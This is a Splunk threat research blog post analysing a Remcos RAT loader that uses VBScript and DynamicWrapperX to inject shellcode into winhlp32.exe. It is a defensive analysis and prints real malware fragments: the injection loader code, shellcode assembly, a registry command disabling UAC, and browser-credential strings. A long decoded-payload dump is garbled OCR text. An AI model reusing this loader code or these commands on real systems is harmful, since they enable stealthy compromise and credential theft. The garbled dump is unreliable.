Detecting Malware Script Loaders using Remcos: Threat Research Release December 2021

splunk.com/en_us/blog/security/detecting-malware-script-loaders-using-remcos-threat-research-release-december-2021.html

January 10, 2022

SECURITY



By Splunk Threat Research Team January 10,

2022

Nowadays, malware used to have several stages before it fully compromised the targeted host or machine. The very well-known initial stager is the "phishing email" that contains a malicious macro code or malicious URL link that will download either the actual loader or the next stager to download the actual payload.

This particular sample makes the detection and analysis of the adversary behavior more challenging. The most prevalent loaders seen in the wild are window scripting languages, JScript (.js), and VBScript (.vbs). These scripts are easy to obfuscate and encrypt in order to bypass detection and preventative controls, therefore many adversaries use this methodology. In this blog, Splunk Threat Research (STRT) will discuss a Remcos loader that utilizes DynamicWrapperX (dynwrapx.dll) to execute shellcode and inject Remcos RAT into the target process. Ultimately STRT covers what Splunk Security Content detections find behaviors and TTPs that apply to the DynamicWrapperX Loader.





The Initial Downloader

This Remcos sample loader starts with a simple VBScript that attempts to download the second VBScript from <u>paste.ee</u>. The script on <u>paste.ee</u> is the main loader of Remcos. Below is the screenshot of the initial downloader script. STRT has witnessed the script stay online up to a few weeks between major campaign changes. Paste.ee offers multiple options to automatically take down code between hours up to a year. The full VBScript loader may be found <u>here</u>.



The VBScript Main Remcos Loader

Detection Evasion

STRT found the script loader interesting in how it tries to evade inspection by preventative controls by embedding a large amount of normal script code and comments at the beginning and end of the loader. For example, the screenshot below shows its code in lines 120-150 pertains to Microsoft "<u>pubprn.vbs</u>", a script designed to publish printers within active directory domain services. Skimming over the code quickly gives it away that shellcode is embedded inside.

End Function	
Dim L PubprnUsagel text	
Dim L PubprnUsage2 text	
Dim L PubprnUsage3 text	
Dim L PubprnUsage4 text	
Dim L PubprnUsage5 text	
Dim L_PubprnUsage6_text	
Dim L GetObjectErrorl text	
Dim L_GetObjectError2_text	
Dim L PublishErrorl text	
Dim L PublishError2 text	
Dim L PublishError3 text	
Dim L PublishSuccess1 text	
-	
L_PubprnUsagel_text =	"Usage: [cscript] pubprn.vbs server ""LDAP://OU=DC="""
L_PubprnUsage2_text =	server is a Windows server name (e.g.: Server) or UNC printer name (\\Server\Printer)"
L_PubprnUsage3_text =	" ""LDAP://CN=,DC="" is the DS path of the target container"
L_PubprnUsage4_text =	
L_PubprnUsage5_text =	"Example 1: pubprn.vbs MyServer "" <u>LDAP://CN=MyContainer,DC=MyDomain,DC=Company,DC=Com</u> """
L_PubprnUsage6_text =	"Example 2: pubprn.vbs \\MyServer\Printer ""LDAP://CN=MyContainer,DC=MyDomain,DC=Company,DC=Com"""
L_GetObjectErrorl_text =	"Error: Path "
L_GetObjectError2_text =	" not found."
L_GetObjectError3_text =	"Error: Unable to access "
L_PublishErrorl_text =	"Error: Pubprn cannot publish printers from "
L_PublishError2_text =	" because it is running Windows 2000, or later."
L_PublishError3_text =	"Failed to publish printer "
L_PublishError4_text =	"Error: "
L_PublishSuccessl_text =	"Published printer: "

Preparation of Payload

Now that the loader has downloaded the next stage from paste.ee, this VBScript will prepare several payloads and eventually load the actual Remcos malicious software. First, it will decode the actual Remcos RAT, then extract the dynwrapx.dll (used to load the shellcode), and finally the shellcode. It will also initialize the file path of (c:\windows\winhlp32.exe) which is the target process to inject Remcos RAT.



Below is a screenshot of each payload decoded:

* \AppData\Local\Google\Chrome\User Data\Default\Login Data UserProfile =[Chrome StoredLogins not found] =	∎[Chr
me StoredLogins found, cleared!] \AppData\Local\Google\Chrome\User Data\Default\Cookies =[Chrome Cookies not fou	und]
[Chrome Cookies found, cleared]] \AppData\Roaming\Mozilla\Firefox\Profiles\ E[Firefox StoredLogins not found]	
(logins.]son (keys.ab B firetox storealogins lleareal) B firetox (dokies not touna) (cookies.sqlite B ny cookies faund claareall Cookies Software\Microsoft\Windows\CumpentVersion\Explore^\User Shell Folders B	[Fire ⊋ſ⊤⊑
obles not found affE cookies cleared! XP afcleared browsers logins and cookies. A Cleared browsers logins	and
pokies. FR FunFunc Software\Microsoft\Windows\CurrentVersion\Ru	un \
r\Run\\install.vbr_right_chick_script_t_feep_1000s_Set_fso) =
CreateObject("Scrip <mark>+1+1</mark> [V][i][e]St +4 Abject") = E fso.Delete	
e , o createobjet ("Work") tistes ("Nore"), Kun "cmd /c ""	
so, berecerrie (wscript, scriptruriwame) – exepan, vos – on – erro asuma Navt# ")# while fso FileFvists/" "# – fso DeleteFil	
wends fso.DeleteFolder "\update.vbs CreateObject("Sc	ri
ting.FileSystemObject").DeleteFile(Wscript.ScriptFullName	
Jnknown exception bad cast bad locale name : generic iostream iostream stream e <u>rror</u> ios_base::badbit s	set
ios_base::failbit set ios_base::eofbit set license_code.txt Software\ Exe WD Remcos_Mutex_Inj Inj P	Produ
Name (64 bit) (32 bit) licence User Access level: Administrator GetModuleFileNameExA Psapi.dli Da dla GetModuleFileNameExA Psapi.dl	Kern
132.011 Gernaldieritenameerkw witchnmapyleworsecton nituil.dit Globalmemorystatusek Kernel32.dit isw poress kernel32 GetComputerNameFxW TsilserAnddmin Shall32 SetPoncessDEPDniry Finismisch auforatiu usor32 Fo	numDi
playMonitors GetMonitorInfoW Shlwapi.dll 1 Program Files\ Program Files Program Files (x86)) \
override pth_unenc 3.2.1 Pro v ≧ /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft	t\Win
ows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f _C:\Windows\System32\cmd.exe ¼α@ ∟α@ ቧα@) ¶α@
	TARA
	1A04
	COR
ents Allows for DLL function calls in JScript and VBScri	pt
"⊜⊖CompanyName V‡⊖FileDescription DynamicWrapperX o	ob
ct *+0FileVersion A 100 MRA CVt Al AlName dynwrapx J‼0L	e g
lCopyright - Yuri P∪YIVVÞ@QV∧P.↓DriginalFilename dynwra	a p >
dll @▶⊖ProductName ♥DynamicWrapperX .♣⊖ProductVersion 1	. 0
D ⊌VarFileInto \$◆ Translation c+2+	*0- ·
▶ = ▶ \$¶= ▶ \$te ▶ \$Le h	∕o¥a ∎
	υψι
≥b ∎b \$c -c >c Nc +a Γa ≥a ♦b →b ,b :b Hb `b xb åb ûb ¼b ⊤b b 0b ≥b ■b	U WL
≥b ■b \$c -c >c Nc +a Fa ≥a ♦b →b ,b :b Hb `b xb åb ûb %b _T b ┃b @b ≥b ■b -c >c Nc KERNEL32.dll ä DisableThreadLibraryCalls :@LoadLibraryA É@GetProcAddress l@GetModuleFileM	Name/
≥b mb ¢c -c >c Nc †a Fa ≥a ♦b →b ,b :b Hb `b xb åb ûb %b _T b b @b ≥b mb -c >c Nc KERNEL32.dll ä DisableThreadLibraryCalls :@LoadLibraryA É@GetProcAddress l@GetModuleFileM @@GetCommandLineA 0 FreeLibrary π@GlobalAlloc =@InterlockedIncrement \$@InterlockedDecrement Ω@GlobalFree =@Loa	Name/ adLi
≥b mb \$c -c >c Nc +a Fa ≥a ◆b →b ,b :b Hb `b xb åb ûb %b _T b b Øb ≥b mb -c >c Nc KERNEL32.dll ä DisableThreadLibraryCalls :@LoadLibraryA É@GetProcAddress l@GetModuleFileM @@GetCommandLineA @ FreeLibrary π@GlobalAlloc =@InterlockedIncrement \$@InterlockedDecrement Ω@GlobalFree =@Loa ryW wWWideCharToMultiByte]@MultiByteToWideChar #@RtlMoveMemory msvcrt.dll °@sprintf ♦♥strlen (@_wcsicmp ,♥wc -la220 dl. = Tsrew20010 01500 dl. % SupeCharing 6 SupErsectation 2 SupeCharts 1 supCharts 1 supCharts 1 supCharts	Name/ adLit
 ≥b mb \$c -c >c Nc +a Fa ≥a ◆b →b ,b :b Hb `b xb åb ûb %b _Tb b @b ≥b mb -c >c Nc KERNEL32.dll ä DisableThreadLibraryCalls :@LoadLibraryA É@GetProcAddress l@GetModuleFileN @@GetCommandLineA @ FreeLibrary π@GlobalAlloc =@InterlockedIncrement \$@InterlockedDecrement Ω@GlobalFree =@Loa ryW w♥WideCharToMultiByte]@MultiByteToWideChar ∬@RtlMoveMemory msvcrt.dll °@sprintf ♦♥strlen (@_wcsicmp ,♥wc ole32.dll _f IsEqualGUID OLEAUT32.dll X SysAllocString [SysFreeString Z SysAllocStringLen 	Name/ adLit
≥b mb \$c -c >c Nc +a Fa ≥a ◆b →b ,b :b Hb `b xb åb ûb %b ⊤b b @b ≥b mb -c >c Nc KERNEL32.dll ä DisableThreadLibraryCalls :@LoadLibraryA É@GetProcAddress l@GetModuleFileN @@GetCommandLineA @ FreeLibrary π@GlobalAlloc ~@InterlockedIncrement \$@InterlockedDecrement Ω@GlobalFree =@Loa ryW wWWideCharToMultiByte]@MultiByteToWideChar ∬@RtlMoveMemory msvcrt.dll °@sprintf ♦Vstrlen (@_wcsicmp ,Vwc ole32.dll r IsEqualGUID OLEAUT32.dll X SysAllocString [SysFreeString Z SysAllocStringLen Su ^o H \p @ ★ ★ Hp 4p (p @ Ø ♥ ★ ip vp ïp ûp ;p ▲► p\$ R\$ 1► τ◀ dynwrapx.dl	Name/ adLit csler
≥b mb \$c -c >c Nc +a Fa ≥a ◆b →b ,b :b Hb `b xb åb ûb %b _T b b @b ≥b mb -c >c Nc KERNEL32.dll ä DisableThreadLibraryCalls :@LoadLibraryA É@GetProcAddress l@GetModuleFileN @@GetCommandLineA @ FreeLibrary π@GlobalAlloc =@InterlockedIncrement \$@InterlockedDecrement Ω@GlobalFree =@Loa ryW wWWideCharToMultiByte]@MultiByteToWideChar J@RtlMoveMemory msvcrt.dll °@sprintf ♦Vstrlen (@_wcsicmp ,Vwc ole32.dll _f IsEqualGUID OLEAUT32.dll X SysAllocString [SysFreeString Z SysAllocStringLen Su ^o H \p @ + + Hp 4p (p @ @ V + ip yp ïp ûp ¿p ▲> p\$ R\$ 1> τ< dynwrapx.dl CanUnloadNow DllGetClassObject DllInstall DllRegisterServer DllUnregisterServer	Name/ adLit csler
 ≥b mb \$c -c >c Nc +a Fa ≥a ◆b →b ,b :b Hb `b xb åb ûb %b _Tb b @b ≥b mb -c >c Nc KERNEL32.dll ä DisableThreadLibraryCalls :@LoadLibraryA É@GetProcAddress l@GetModuleFileN @@GetCommandLineA @ FreeLibrary π@GlobalAlloc =@InterlockedIncrement \$@InterlockedDecrement Ω@GlobalFree =@Loa ryW w₩WideCharToMultiByte]@MultiByteToWideChar J@RtlMoveMemory msvcrt.dll °@sprintf ♦♥strlen (@_wcsicmp ,♥wc ole32.dll _f IsEqualGUID OLEAUT32.dll X SysAllocString [SysFreeString Z SysAllocStringLen 5u°H \p @ + + Hp 4p (p @ @ ♥ + ip yp ïp ûp ¿p &> p\$ R\$ 1> τ< dynwrapx.dl canUnloadNow DllGetClassObject DllInstall DllRegisterServer DllUnregisterServer 	Name/ adLit csler
 ≥b mb \$c -c >c Nc +a Fa ≥a ◆b →b ,b :b Hb `b xb åb ûb %b _Tb b 0b ≥b mb -c >c Nc KERNEL32.dll ä DisableThreadLibraryCalls :0LoadLibraryA É0GetProcAddress 10GetModuleFileN 00GetCommandLineA 0 FreeLibrary π0GlobalAlloc =0InterlockedIncrement \$0InterlockedDecrement Ω0GlobalFree =0Loa ryW wWwideCharToMultiByte]0MultiByteToWideChar J0RtlMoveMemory msvcrt.dll °0sprintf \$Vstrlen (0_wcsicmp ,Vwc ole32.dll F ISEqualGUID OLEAUT32.dll X SysAllocString [SysFreeString Z SysAllocStringLen Su^oH \p 0 + + Hp 4p (p 0 0 ♥ + ip yp ïp ûp ¿p ♪> p\$ R\$ 1> τ< dynwrapx.dl canUnloadNow DllGetClassObject DllInstall DllRegisterServer DllUnregisterServer 00000000: 60 E8 4E 00-00 00 6B 00-45 00 72 00-6E 00 65 00 10N k E r n e 	Name/ adLik csler
 ≥b mb ¢c -c >c Nc †a Fa ≥a ♦b →b ,b :b Hb `b xb åb ûb %b _Tb b 0b ≥b mb -c >c Nc KERNEL32.dll ä DisableThreadLibraryCalls :0LoadLibraryA É0GetProcAddress 10GetModuleFileN 00GetCommandLineA 0 FreeLibrary π0GlobalAlloc =0InterlockedIncrement \$0InterlockedDecrement Ω0GlobalFree =0Loa ryW wWwideCharToMultiByte]0MultiByteToWideChar J0RtlMoveMemory msvcrt.dll °0sprintf \$Vstrlen (0_wcsicmp ,*wc ole32.dll r IsEqualGUID OLEAUT32.dll x SysAllocString [SysFreeString Z SysAllocStringLen Su°H \p 0 + + Hp 4p (p 0 0 ♥ + ip yp ïp ûp ¿p ♣> p\$ R\$ 1> τ< dynwrapx.dl canUnloadNow DllGetClassObject DllInstall DllRegisterServer DllUnregisterServer 00000000: 60 E8 4E 00-00 00 6B 00-45 00 72 00-6E 00 65 00 13 2 n t d 1 	Name/ adLit csler
<pre>≥b mb</pre>	Name/ adLit csler
≥b mb ¢c -c >c Nc +a Fa ≥a ◆b →b ,b :b Hb `b xb åb ûb Xb ⊤b b 0b ≥b mb -c >c Nc KERNEL32.dll ä DisableThreadLibraryCalls :0LoadLibraryA É0GetProcAddress 10GetModuleFileM ©0GetCommandLineA 0 FreeLibrary m0GlobalAlloc =0InterlockedIncrement \$0InterlockedDecrement 00GlobalFree =0Loa ryW wWwideCharToMultiByte]0MultiByteToWideChar □0RtHNoveMemory msvcrt.dll °0sprintf ↓vstrlen (0_wcsicmp , vwc ole32.dll r IsEqualGUID OLEAUT32.dll X SysAllocString [SysFreeString Z SysAllocStringLen Su°H \p 0 + + Hp 4p (p 0 0 • + ip yp ïp ûp ¿p ▲> p\$ R\$ 1> t d dynwrapx.dl anUnloadNow DllGetClassObject DllInstall DllRegisterServer DllUnregisterServer 000000001: 60 E8 4E 00-00 00 6B 00-45 00 72 00-6E 00 65 00 10N k E r n e 00000010: 6C 00 33 00-32 00 00 00-6E 00 74 00-64 00 6C 00 1 3 2 n t d 1 00000020: 6C 00 00 00 00 00 00 00 00 00 00 00 00 00	Name/ adLik csler
≥b mb ¢c -c >c Nc +a Fa ≥a ◆b →b ,b :b Hb `b xb åb ûb Xb ⊤b b 0b ≥b mb -c >c Nc KERNEL32.dll ä DisableThreadLibraryCalls :0LoadLibraryA É0GetProcAddress 10GetModuleFileM @0GetCommandLineA 0 FreeLibrary m0GlobalAlloc =0InterlockedIncrement \$0InterlockedDecrement 00GlobalFree =0Loa nyW wWwideCharToMultiByte]0MultiByteToWideChar □@RtIMoveMemory msvcrt.dll °0sprintf ↓vstrlen (0_wcsicmp , vwc ole32.dll r IsEqualGUID OLEAUT32.dll X SysAllocString [SysFreeString Z SysAllocStringLen Su°H \p 0 + + Hp 4p (p 0 • ♥ + ip yp ïp ûp ¿p ▲► p\$ R\$ 1► τ◀ dynwrapx.dl anUnloadNow DllGetClassObject DllInstall DllRegisterServer DllUnregisterServer 000000000: 60 E8 4E 00-00 00 6B 00-45 00 72 00-6E 00 65 00 10N k E r n e 000000010: 6C 00 33 00-32 00 00 00-6E 00 74 00-6E 00 65 00 10N k E r n e 000000020: 6C 00 00 00 00 00 00 00 00 00 00 00 00 00	Name/ adLit csler
<pre>2b mb</pre>	Name/ adLit csler
<pre>2b mb</pre>	Name/ adLik csler
<pre>2b mb</pre>	Name/ adLik csler
≥b mb ¢c -c >c Nc +a Fa ≥a ◆b →b ,b :b Hb `b xb åb ûb %b ⊤b b 0b ≥b mb -c >c Nc KERNEL32.dll ä DisableThreadLibraryCalls :0LoadLibraryA É@GetProcAddress 10GetModuleFileM @@GetCommandLineA 0 FreeLibrary m@GlobalAlloc ●InterlockedIncrement \$0InterlockedDecrement Ω@GlobalFree =0Loa ryW wWwideCharToMultiByte]0MultiByteToWideChar 10RtMoveMemory msvcrt.dll °@sprintf ◆♥strlen (@_wcsicmp ,♥wc ole32.dll F IsEqualGUID OLEAUT32.dll X SysAllocString [SysFreeString Z SysAllocStringLen Su°H \p 0 + + Hp 4p (p 0 0 0 ♥ + ip yp îp ûp ¿p ▲► p\$ R\$ 1► t dynwrapx.dl Ge00000000: G0 E8 4E 00-00 00 6B 00-45 00 72 00-6E 00 65 00 10 k E r n e 0000000000: G0 E8 4E 00-00 00 6B 00-45 00 72 00-6E 00 65 00 10 k E r n e 0000000000: G0 00 00 00 00 00 00 00 00 00 00 00 00	Name/ adLit csler
<pre>≥b mb \$c -c >c Nc +a Fa ≥a +b -b ,b :b Hb `b xb åb ûb Xb -b b @b ≥b mb -c >c Nc KERNEL32.dll ä DisableThreadLibraryCalls :@LoadLibraryA É@GetProcAddress l@GetModuleFileM @GetCommandLineA 0 FreeLibrary m@GlobalAlloc =0InterlockedIncrement \$0InterlockedDecrement Q@GlobalFree =0Loa ryW wWwideCharToMultiByte]@MultiByteToWideChar _@RtHMoveMemory msvcrt.dll °@sprintf +Vstrlen (@_wcsicmp ,Vwc ole32.dll r IsEqualGUID OLEAUT32.dll X SysAllocString [SysFreeString Z SysAllocStringLen Su°H \p @ + + Hp 4p (p @ @ V + ip yp ip ûp ip w p\$ R\$ 1► τ◄ dynwrapx.dl anUnloadNow DllGetClassObject DllInstall DlRegisterServer DllUnregisterServer 0000000000: 60 E8 4E 00-00 00 6B 00-45 00 72 00-6E 00 65 00 10N k E r n e 000000000: 6C 00 33 00-32 00 00 00-6E 00 74 00-64 00 6C 00 1 3 2 n t d l 000000000: 6C 00 00 00-00 00 00 00 00 00 00 00 00 00</pre>	Name/ adLit csler
<pre>≥b mb \$c -c >c Nc ↓a Fa ≥a +b →b ,b :b Hb `b xb åb ûb Xb ¬b b b 0b ≥b mb -c >c Nc KERNEL32.dll ä DisableThreadLibraryCalls :@LoadLibraryA É@GetProcAddress 1@GetModuleFileM @GetCommandLineA 0 FreeLibrary m@GlobalAlloc →InterlockedIncrement *DInterlockedDecrement Q@GlobalFree →DLoa pryW wWideCharToMultiByte]@MultiByteToWideChar #@RtIMoveMemory msvcrt.dll °Deprintf +Vstrlen (@_wcsicmp ,Vwc ole32.dll = IsEqualGUID OLEAUT32.dll X SysAllocString [SysFreeString Z SysAllocStringLen Su°H \p 0 + + Hp 4p (p 0 • * + ip yp ïp ûp ;p ▲> p\$ R\$ 1> t dynwrapx.dl anUnloadNow DliGetClassObject DllInstall DlRegisterServer DllUnregisterServer 000000000: 60 E8 4E 00-00 00 6B 00-45 00 72 00-6E 00 65 00 10N k E r n e 000000000: 60 E8 4E 00-00 00 00 00-6E 00 74 00-64 00 6C 00 1 3 2 n t d l 000000000: 60 00 00 00 00 00 00 00 00 00 00 00 00</pre>	Name/ adLit csler
<pre>≥b b ¢c -c > c Nc ↓a Fa ≥a ◆b →b ,b :b Hb `b xb åb ûb Xb ⊤b b Øb 2b mb -c > c Nc KERNEL32.dll ä DisableThreadLibraryCalls :@LoadLibraryA É@GetProcAddress 1@GetModuleFileA @GetCommandLineA 0 FreeLibrary neGlobalAlloc →lnterlockedIncrement %0GlobalFree@Loa ryW wWWideCharToMultiByte]@MultiByteToWideChar _@RtlMoveMemory msvcrt.dll °@sprintf +Vstrlen (@_wcsicmp ,Vwc ole32.dll F ISEqualGUID OLEAUT32.dll X SysAllocString [SysFreeString Z SysAllocStringLen Su°H \p 0 + + Hp 4p (p 0 • • ip yp îp ûp ip A> p\$ R\$ 1> t 4 dynwrapx.dl anUnloadNow DllGetClassObject DllInstall DllRegisterServer DllUnregisterServer</pre>	Name/ adLit csler
<pre>2b mb cc -c >c Nc</pre>	Name/ adLit csler
2b bb ¢c -c >c Nc +a Fa ≥a +b →b ,b :b Hb `b xb åb ûb Xb τb b 00 ≥b mb -c >c Nc KERNEL32.dll ä DisableThreadLibraryCalls :0LoadLibraryA ÉGGEProcAddress 10GEtModuleFileM 00GetCommandLineA 0 FreeLibrary moGlobalAlfce =0Loa NrW wtWideCharToMultiByte]0MultiByteToWideChar InterlockedIncrement t0InterlockedDecrement Ω0GlobalFree =0Loa NrW wtWideCharToMultiByte]0MultiByteToWideChar InterlockedIncrement t0 preschere (0 wcsicmp ,*wc ole32.dll r IsEqualGUID OLEAUT32.dll X SysAllocString [SysFreeString Z SysAllocStringLen Su ⁰ H \p 0 + + Hp 4p (p 0 0 0 * + ip yp ĭp ûp ;p ▲> p\$ R\$ 1> τ dynwrapx.dl anUnloadNow DllGetClassObject DllInstall DllRegisterServer DllUnregisterServer	Name/ adLit csler
<pre>2b mb *c -c >c Nc</pre>	Name/ adLit csler
<pre>2b mb</pre>	Name/ adLit csler
<pre>2b mb</pre>	Name/ adLii csler
<pre>2b mb \$c -c >c Nc +a Fa ≥a +b -b ,b :b Hb 'b xb åb ûb Xb ⊤b b 0b zb mb -c >c Nc KERNEL3.dli à DisableThreadLibraryCalls ::0.adLibraryA feGetProcAddress leGetModuleFilet 00GetCommandLineA 0 FreeLibrary n0GlobalAlloc -0InterlockedIncrement *0InterlockedDecrement 00GlobalFree =0Loz ryW wTWideCharToMultiByte]0HultiByteToWideChar #0RtlMoveMemory msvcrt.dll °0sprintf +Vstrlen (0_wcsicmp , *wc ola32.dll r IsEqualGUD OLEAUT32.dll X SysAllocString [SysFreeString Z SysAllocStringLen Su⁰H \p 0 + + Hp 4p (p 0 0 * + ip yp ip ûp yp *p îp ûp z *p Rt 1* t dynwrapx.dl anUnloadNow DilGetClassObject DilInstall DilRegisterServer DilUnregisterServer 0000000010: 6C 00 33 00-32 00 00 00-6E 00 72 00-6E 00 65 00 13 2 n t dl 000000020: 6C 00 00 00-00 00 00 00 00 00 00 00 00 00</pre>	Name/ adLit csler
2b mb tc -c >c Nc triangle tr	Name/ adLit csler
<pre>2b mb</pre>	Name/ adLit csler
2b b +c >c >c Nc Ha Fa za +b +b +b b b b 0b 0b 2b b b b b b 0b 2b b b b b b 0b 2b b	Name/ adLit csler

VBScript Execution in x64 Bit

This script also has a function to check what OS architecture type the infected host has using WMI (Windows Management Instrumentation - $\underline{T1047}$) if it is an x64 host, it will run the VBScript using the following command format "wscript /b /e:vbscript <vbscript filename>" like what is

shown in the screenshot below. Also you can find the raw attack data <u>sysmon.log</u> for this technique.

```
Sub FIX_WOW64()
Set ShellObj = WScript.CreateObject("WSCRIPT.SHELL")
Set ObjWMIService = GetObject("WINMGMTS:\\.\ROOT\CIMV2")
Set Colltems = ObjWMIService.ExecQuery("SELECT * FROM WIN32_COMPUTERSYSTEM")
For Each ObjItem In Colltems
SystemType = ObjItem.SystemType
Next
If (UCase(SystemType) = "X64-BASED PC") And (InStr(UCase(WScript.PATH),"SYSWOW64") = 0) Then
ShellObj.Run ShellObj.ExpandEnvironmentStrings("%WINDIR%") & "\SYSWOW64\WSCRIPT.EXE //b //e:vbscript " & Chr(34)
& WScript.ScriptFullName & Chr(34)
WScript.Quit
End If
End Sub
```

The Shellcode - Process Injection

The decoded shellcode uses pre-computed API hashes to dynamically resolve its API import in order to inject the Remcos malware into a targeted process on the host. The screenshot below shows the last WriteProcessMemory API and the ResumeThread API calls get used to write and subsequently execute the Remcos RAT in the target process where it injects its code.

	COTT	300_413		
	push	WriteProcessMemory_H_SH		
	push	ecx		
	call	<pre>func_harvest_api_450</pre>		
	add	esp, 0Ch	GetMa	<pre>ximumProcessorCount_HASH = 0D69B0676h</pre>
	call	eax	IsCal	endarLeapDay_HASH = 0D6D562D6h
	push	22h ; '"'	EnumR	lesourceLanguagesExA_HASH = 0D6F1D823h
	call	sub 419	EnumR	lesourceLanguagesExW_HASH = 0D6F1D839h
	mov	ecx, [ecx]	GetGe	oInfoEx_HASH = 0D77CA916h
	mov	edx, [ecx+28h]	SetCo	nsoleDisplayMode_HASH = 0D796A152h
	add	edx, [ecx+34h]	K32En	umDeviceDrivers_HASH = 0D7FB6E88h
	push	32h : '2'	Write	ProcessMemory_HASH = 0D83D6AA1h ; XREF: sub_54+185/s
1	call	sub 419		
	mov	ecx. [ecx]		
	add	ecx. 0B0h		
	mov	[ecx], edx		
1	nuch	[ccci], cui		
	call	sub 419		
	nuch	SetThreadContext HASH		
	push	Sectimeadconcext_hosh		
	call	func haquest and 450		
	call	Tunc_narvesc_ap1_450		
	push	52n j 2		
	Call	SUD_419		
	mov	eux, ecx		
	push	2ch ; .		
	Call	SUD_419		
	mov	ecx, [ecx]		
	pusn	dword ptr [edx]		
1	pusn	dword ptr [ecx+4]		
	call	eax		
	pusn	0	÷	
	call	sub_419		
	push	ResumeThread_HASH		
	nush	ecx i i i i i i i i i i i i i i i i i i i		
	call	<pre>func_harvest_ap1_450</pre>		
	push	2Eh ; .		
	call	sub_419		
	mov	ecx, [ecx]		
	push	dword ptr [ecx+4]		
	call	eax		
	push	4Ah ; 'J'		
	call	sub_419		
	mov	esp, [ecx]		
	popa			
	retn	20020		
	sub_54	endp		

DynamicWrapperX - ShellCode Execution

To execute the shellcode for Remcos via process injection, it first decodes and drops "dynwrapx.dll" in the %temp% folder and loads/installs it using Regsvr32 install silent parameter ("regsvr32 /I /S"). This DLL will give the VBScript access to the "DynamicWrapperX" Object to load 2 more windows DLL modules named user32.dll and kernel32.dll to allocate memory and execute the shellcode.

Using VirtualAlloc API call, it will allocate a region of memory for the Remcos malware and shellcode. This memory address will be passed as an argument in CallWindowProcW API to load the shellcode to inject Remcos RAT to the target process, which is WinHlp32.exe. The screenshot below shows the code of this technique.

```
dim x66, x77
x66 = "v
x77 = "M"
    DLL_PATH = ShellObj.ExpandEnvironmentStrings("%TE" + x77 + "P%") & "\d" + x66 + "nwrapx.dll"
    Call FileWrite (DLL PATH, HexToBin (SOLONDRA))
    Do
        Call ShellObj.Run("REGSVR32.EXE /I /5 " & Chr(34) & DLL PATH & Chr(34), 0, True)
        Set DynWrapObj = CreateObject("DynamicWrapperX")
        Call WScript.Sleep(1000)
    Loop Until IsObject (DynWrapObj)
    Call DynWrapObj.Register("USER32.DLL", "CallWindowProcW", LCase("I=PHULL"), LCase("R=U"))
   Call DynWrapObj.Register("KERNEL32.DLL", "VirtualAlloc", LCase("I=PUUU"), LCase("R=P"))
    SHELLCODE_PTR = DynWrapObj.VirtualAlloc(0, Len(aLAMBRE) / 2, 4096, 64)
                                                                                      shellcode in memory
    For i = 1 To Len(aLAMBRE) Step 2
        Char = Asc(Chr("&H" & Mid(aLAMBRE, i, 2)))
        Call DynWrapObj.NumPut(Eval(Char), SHELLCODE PTR, (i - 1) / 2)
                                                                                      winhlp32.exe file path
    Next
    petudo = DynWrapObj.VirtualAlloc(0, Len(BinaryData) + 1, 4096, 64)
                                                                                        remcos in memory
    For i = 1 To Len(BinaryData) Step 2
        Char = Asc(Chr("&H" & Mid(BinaryData, i, 2)))
        Call DynWrapObj.NumPut(Eval(Char), petudo, (i - 1) / 2)
    Next
    Call DynWrapObj.CallWindowProcW(SHELLCODE_PTR, DynWrapObj.StrPtr(FilePath), perudo, 0, 0)
End Sub
```

Where is Remcos Going?

Using VirusTotal behavior to analyze this sample further STRT searched for a pattern of behavior that spawned winhlp32.exe and used regsvr32.exe to load dynwrapx.dll. STRT crafted this VirusTotal behavior query:

```
behavior:"\"%windir%\\System32\\regsvr32.exe\" /I /S \"%TEMP%\\dynwrapx.dll\""
behavior:"\"%windir%\\winhlp32.exe\""
```

This uncovered an interesting pattern that began 9/12/2021 from Argentina which matched the same behavior as our original sample. Each upload contained a different section of the final sample (reviewed above). STRT speculates the adversary was testing their code against antivirus engines. After the first few "testing" uploads occurred, it was followed up with actual active campaigns with complete Remcos loaders.

	Detections	Size	First seen	Last seen	Submitters
38588848991E1973AE48CDE58898B78A274A95888B36D768FC885CAEE329644F	19 / 58	64.79 KB	2021-09-12 19:53:10	2021-09-12 19:53:10	1
BBCHFUR39BU29FH89U692E3CTLF9CB6TF00AUBC4864FA66/BE8622926FBULLU8	18 / 58	194.92 KB	2021-09-12 19:56:28	2021-09-12 19:56:28	1
73ECC1C68A37B3EBAEC419CFD7719151E3434A47EC683A714567BA4AA3DF04B5 ③ ③ ③ 1.vbs vba obfuscated run-file handle-file create-file cve-2018-8174 exploit write-file direct-cpu-clock-access	17 / 58	64.76 KB	2021-09-12 19:59:27	2021-09-12 19:59:27	1
7D1EC6CA79741217E2AA7097DF8BA0A883140896F365C04A58346A9E4A5C5EFD	19 / 58	32.76 KB	2021-09-12 20:00:33	2021-09-12 20:00:33	1
F5FEDD8833E5762A6D1685F6C02D1EE95E8780A07066F26CE7848020CF9CE008 ⊕ ⊙ ⊙ 1.vbs vba obfuscated run-file handle-file cve-2018-8174 runtime-modules create-file exploit calls-wmi	17 / 54	62.06 KB	2021-09-12 20:01:34	2021-09-12 20:01:34	1
7D284AAEA452472D67623C3C6C9C36943C756567556E288B1BA11A4A1F881386	18 / 58	66.46 KB	2021-09-12 20:09:08	2021-09-12 20:09:08	1
71E1112613981E93CA89F538137A246AF95BAFDD56CA6DAE4884536634768F78 ③ ③ ③ 1.vbs vba obfuscated run-file handle-file create-file cve-2018-8174 exploit write-file direct-cpu-clock-access	19 / 58	68.19 KB	2021-09-12 20:11:57	2021-09-12 20:11:57	1
079F8802FCAC3E15A55E1000660AF28AE960289FE1C28A27FE1FC3C803A761CB ⊕ ③ ○ 1.vbs []avascript obfuscated run-file handle-file cve-2018-8174 create-file exploit write-file direct-cpu-clock-access	18 / 58	68.11 KB	2021-09-12 20:15:53	2021-09-12 20:15:53	1
D06E797D84B3381FD848418BD88A8FBEB9466D10FC9054E1DC551215A468AF44	19 / 58	77.69 KB	2021-09-12 20:16:48	2021-09-12 20:16:48	1
AD314BD000AC0152492A39D6458BD1A35FFA51DD4F7092310F848B3C3E135C48F ③ ③ ③ 1.vbs javascript obfuscated run-file handle-file cve-2018-8174 runtime-modules create-file exploit	18 / 58	75.29 KB	2021-09-12 20:18:04	2021-09-12 20:18:04	1
C881DA732ACCD836C51F85E2002ABAFD09F234AE6E95EBD6855FCA65A26425DB	15 / 58	28.38 KB	2021-09-13 15:21:34	2021-09-13 15:21:34	1
7AF7C46078D5E9A82AF147E8F018F932918D45A33E76B58B4C7D2865F8D50D41	26 / 57	1.55 MB	2021-09-22 02:41:56	2021-09-22 02:41:56	1
